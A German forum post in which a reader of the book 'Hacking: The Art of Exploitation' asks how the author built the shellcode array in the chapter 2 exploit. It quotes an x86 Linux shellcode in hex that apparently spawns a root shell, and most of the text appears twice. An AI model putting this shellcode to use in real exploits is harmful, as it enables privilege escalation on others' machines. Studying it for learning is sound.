Hallo, ich hab mir vor ein paar Tagen ein Buch "hacking - the art of exploitation" von nem Kumpel ausgeliehen. Glücklicherweise hat der Verlag gleich mal online ;-)
Iist super geschrieben aber ein haken hat das Ding doch ... (war klar oder ?)
es wird nicht erklärt wie der Autor auf den inhalt des Arrays "shellcode" kommt.
so sieht das aus:
hier ist der ganze Quellcode:
http://www.nostarch.com/extras/hacking/chap2/exploit.c
Meine Frage wie hat der diesen shellcode entwickelt ?
Iist super geschrieben aber ein haken hat das Ding doch ... (war klar oder ?)
es wird nicht erklärt wie der Autor auf den inhalt des Arrays "shellcode" kommt.
so sieht das aus:
Code:
char shellcode[] =
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0"
"\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d"
"\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"
"\x68";
hier ist der ganze Quellcode:
http://www.nostarch.com/extras/hacking/chap2/exploit.c
Meine Frage wie hat der diesen shellcode entwickelt ?